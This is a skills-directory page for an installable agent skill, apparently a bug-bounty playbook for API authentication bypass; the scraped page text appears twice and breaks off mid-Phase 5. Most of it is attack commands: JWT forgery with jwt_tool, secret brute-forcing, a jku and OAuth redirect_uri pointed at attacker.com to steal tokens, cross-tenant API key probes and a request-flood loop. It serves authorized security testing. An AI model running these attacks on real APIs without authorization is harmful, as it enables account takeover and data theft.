api-authentication-bypass

Name: api-authentication-bypass
Author: ShulkwiSEC

18stars5forks

How to install api-authentication-bypass?

shulkwisec/bb-huge/api-authentication-bypass

$npx -y skills add ShulkwiSEC/bb-huge --skill api-authentication-bypass

Installs into the current project.

Summary

Test APIs for authentication and authorization bypass vulnerabilities including JWT manipulation, OAuth2 flaws, API key leakage, broken authentication, and token forgery. Use this skill when assessing REST/GraphQL APIs for access control weaknesses, session management flaws, or c

Files · 1

View on GitHub

SKILL.md

1	# API Authentication Bypass
2
3	## When to Use
4	- When testing APIs for authentication weaknesses
5	- When JWT tokens are used for session management
6	- When OAuth2/OpenID Connect flows are implemented
7	- When API keys are used for authentication/authorization
8	- When testing for broken authentication patterns
9
10
11	## Prerequisites
12	- Authorized scope and target URLs from bug bounty program
13	- Burp Suite Professional (or Community) configured with browser proxy
14	- Familiarity with OWASP Top 10 and common web vulnerability classes
15	- SecLists wordlists for fuzzing and enumeration
16
17	## Workflow
18
19	### Phase 1: Identify Authentication Mechanism
20
21	```bash
22	# Determine what auth mechanism the API uses:
23	# 1. JWT tokens (Authorization: Bearer eyJ...)
24	# 2. API keys (X-API-Key: xxx, ?api_key=xxx)
25	# 3. OAuth2 tokens
26	# 4. Session cookies
27	# 5. Basic auth (Authorization: Basic base64)
28	# 6. HMAC signatures
29
30	# Inspect headers and responses
31	curl -v https://api.target.com/v1/me 2>&1 \| grep -i "auth\\|cookie\\|token\\|key"
32	```
33
34	### Phase 2: JWT Token Attacks
35
36	```bash
37	# Decode JWT without verification
38	echo "eyJ0eXAi..." \| cut -d. -f2 \| base64 -d 2>/dev/null \| jq .
39
40	# jwt_tool — comprehensive JWT testing
41	pip install jwt_tool
42
43	# Attack 1: Algorithm confusion (alg: none)
44	python3 jwt_tool.py <TOKEN> -X a
45	# Strips signature, sets algorithm to "none"
46
47	# Attack 2: HMAC/RSA confusion (CVE-2016-10555)
48	# If server uses RS256, try HS256 with the public key as secret
49	python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem
50
51	# Attack 3: Brute-force weak secret
52	python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
53
54	# Attack 4: JWK header injection
55	python3 jwt_tool.py <TOKEN> -X i
56
57	# Attack 5: Modify claims
58	python3 jwt_tool.py <TOKEN> -T
59	# Change "role": "user" → "role": "admin"
60	# Change "sub": "1337" → "sub": "1" (admin user)
61	# Change "exp" to far future
62
63	# Attack 6: kid parameter injection
64	# If kid points to a file path:
65	python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
66	# Signs with empty string (content of /dev/null)
67
68	# Attack 7: jku/x5u header manipulation
69	# Point to attacker-controlled JWKS endpoint
70	python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/.well-known/jwks.json"
71	```
72
73	### Phase 3: OAuth2 & OpenID Connect Attacks
74
75	```bash
76	# Attack 1: Redirect URI manipulation
77	# Original: /authorize?redirect_uri=https://app.com/callback
78	# Tamper: /authorize?redirect_uri=https://attacker.com/steal
79	# Bypass: /authorize?redirect_uri=https://app.com.attacker.com/
80	# Bypass: /authorize?redirect_uri=https://app.com/callback/../../../attacker
81
82	# Attack 2: State parameter missing/weak
83	# If no state parameter → CSRF attack on OAuth flow
84	# If predictable state → bypass CSRF protection
85
86	# Attack 3: Authorization code reuse
87	# Use the same auth code twice — if it works, vulnerable
88
89	# Attack 4: Scope escalation
90	/authorize?scope=read → /authorize?scope=read+write+admin
91
92	# Attack 5: PKCE bypass (for mobile/SPA apps)
93	# Remove code_verifier from token request
94	# Try without code_challenge in authorization request
95
96	# Attack 6: Token leakage via Referer
97	# Check if access tokens appear in Referer headers to third-party resources
98
99	# Attack 7: Client credential stuffing
100	# Try common client_secret values for public clients
101	```
102
103	### Phase 4: API Key Testing
104
105	```bash
106	# Check for API key leakage:
107	# 1. Client-side JavaScript
108	grep -r "api_key\\|apiKey\\|api-key\\|x-api-key" *.js
109
110	# 2. GitHub/public repos
111	# Search GitHub for: "target.com" AND ("api_key" OR "apiKey" OR "secret")
112
113	# 3. Mobile app decompilation
114	apktool d target.apk
115	grep -r "api" target/smali/ target/res/
116
117	# Test API key permissions:
118	# Can you access admin endpoints?
119	curl -H "X-API-Key: $APIKEY" https://api.target.com/admin/users
120
121	# Can you access other tenants' data?
122	curl -H "X-API-Key: $APIKEY" https://api.target.com/tenants/OTHER_ID/data
123
124	# Is rate limiting per-key or global?
125	for i in $(seq 1 1000); do
126	curl -s -o /dev/null -w "%{http_code}\n" \
127	-H "X-API-Key: $APIKEY" https://api.target.com/endpoint
128	done \| sort \| uniq -c
129	```
130
131	### Phase 5: Broken Authenti

People who liked this also viewed

6 picks

Type

api-authentication-bypass

18stars5forks

View on GitHub

How to install api-authentication-bypass?

shulkwisec/bb-huge/api-authentication-bypass

$npx -y skills add ShulkwiSEC/bb-huge --skill api-authentication-bypass

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# API Authentication Bypass
2
3	## When to Use
4	- When testing APIs for authentication weaknesses
5	- When JWT tokens are used for session management
6	- When OAuth2/OpenID Connect flows are implemented
7	- When API keys are used for authentication/authorization
8	- When testing for broken authentication patterns
9
10
11	## Prerequisites
12	- Authorized scope and target URLs from bug bounty program
13	- Burp Suite Professional (or Community) configured with browser proxy
14	- Familiarity with OWASP Top 10 and common web vulnerability classes
15	- SecLists wordlists for fuzzing and enumeration
16
17	## Workflow
18
19	### Phase 1: Identify Authentication Mechanism
20
21	```bash
22	# Determine what auth mechanism the API uses:
23	# 1. JWT tokens (Authorization: Bearer eyJ...)
24	# 2. API keys (X-API-Key: xxx, ?api_key=xxx)
25	# 3. OAuth2 tokens
26	# 4. Session cookies
27	# 5. Basic auth (Authorization: Basic base64)
28	# 6. HMAC signatures
29
30	# Inspect headers and responses
31	curl -v https://api.target.com/v1/me 2>&1 \| grep -i "auth\\|cookie\\|token\\|key"
32	```
33
34	### Phase 2: JWT Token Attacks
35
36	```bash
37	# Decode JWT without verification
38	echo "eyJ0eXAi..." \| cut -d. -f2 \| base64 -d 2>/dev/null \| jq .
39
40	# jwt_tool — comprehensive JWT testing
41	pip install jwt_tool
42
43	# Attack 1: Algorithm confusion (alg: none)
44	python3 jwt_tool.py <TOKEN> -X a
45	# Strips signature, sets algorithm to "none"
46
47	# Attack 2: HMAC/RSA confusion (CVE-2016-10555)
48	# If server uses RS256, try HS256 with the public key as secret
49	python3 jwt_tool.py <TOKEN> -X k -pk public_key.pem
50
51	# Attack 3: Brute-force weak secret
52	python3 jwt_tool.py <TOKEN> -C -d /usr/share/wordlists/rockyou.txt
53
54	# Attack 4: JWK header injection
55	python3 jwt_tool.py <TOKEN> -X i
56
57	# Attack 5: Modify claims
58	python3 jwt_tool.py <TOKEN> -T
59	# Change "role": "user" → "role": "admin"
60	# Change "sub": "1337" → "sub": "1" (admin user)
61	# Change "exp" to far future
62
63	# Attack 6: kid parameter injection
64	# If kid points to a file path:
65	python3 jwt_tool.py <TOKEN> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
66	# Signs with empty string (content of /dev/null)
67
68	# Attack 7: jku/x5u header manipulation
69	# Point to attacker-controlled JWKS endpoint
70	python3 jwt_tool.py <TOKEN> -X s -ju "https://attacker.com/.well-known/jwks.json"
71	```
72
73	### Phase 3: OAuth2 & OpenID Connect Attacks
74
75	```bash
76	# Attack 1: Redirect URI manipulation
77	# Original: /authorize?redirect_uri=https://app.com/callback
78	# Tamper: /authorize?redirect_uri=https://attacker.com/steal
79	# Bypass: /authorize?redirect_uri=https://app.com.attacker.com/
80	# Bypass: /authorize?redirect_uri=https://app.com/callback/../../../attacker
81
82	# Attack 2: State parameter missing/weak
83	# If no state parameter → CSRF attack on OAuth flow
84	# If predictable state → bypass CSRF protection
85
86	# Attack 3: Authorization code reuse
87	# Use the same auth code twice — if it works, vulnerable
88
89	# Attack 4: Scope escalation
90	/authorize?scope=read → /authorize?scope=read+write+admin
91
92	# Attack 5: PKCE bypass (for mobile/SPA apps)
93	# Remove code_verifier from token request
94	# Try without code_challenge in authorization request
95
96	# Attack 6: Token leakage via Referer
97	# Check if access tokens appear in Referer headers to third-party resources
98
99	# Attack 7: Client credential stuffing
100	# Try common client_secret values for public clients
101	```
102
103	### Phase 4: API Key Testing
104
105	```bash
106	# Check for API key leakage:
107	# 1. Client-side JavaScript
108	grep -r "api_key\\|apiKey\\|api-key\\|x-api-key" *.js
109
110	# 2. GitHub/public repos
111	# Search GitHub for: "target.com" AND ("api_key" OR "apiKey" OR "secret")
112
113	# 3. Mobile app decompilation
114	apktool d target.apk
115	grep -r "api" target/smali/ target/res/
116
117	# Test API key permissions:
118	# Can you access admin endpoints?
119	curl -H "X-API-Key: $APIKEY" https://api.target.com/admin/users
120
121	# Can you access other tenants' data?
122	curl -H "X-API-Key: $APIKEY" https://api.target.com/tenants/OTHER_ID/data
123
124	# Is rate limiting per-key or global?
125	for i in $(seq 1 1000); do
126	curl -s -o /dev/null -w "%{http_code}\n" \
127	-H "X-API-Key: $APIKEY" https://api.target.com/endpoint
128	done \| sort \| uniq -c
129	```
130
131	### Phase 5: Broken Authenti

People who liked this also viewed

6 picks

Type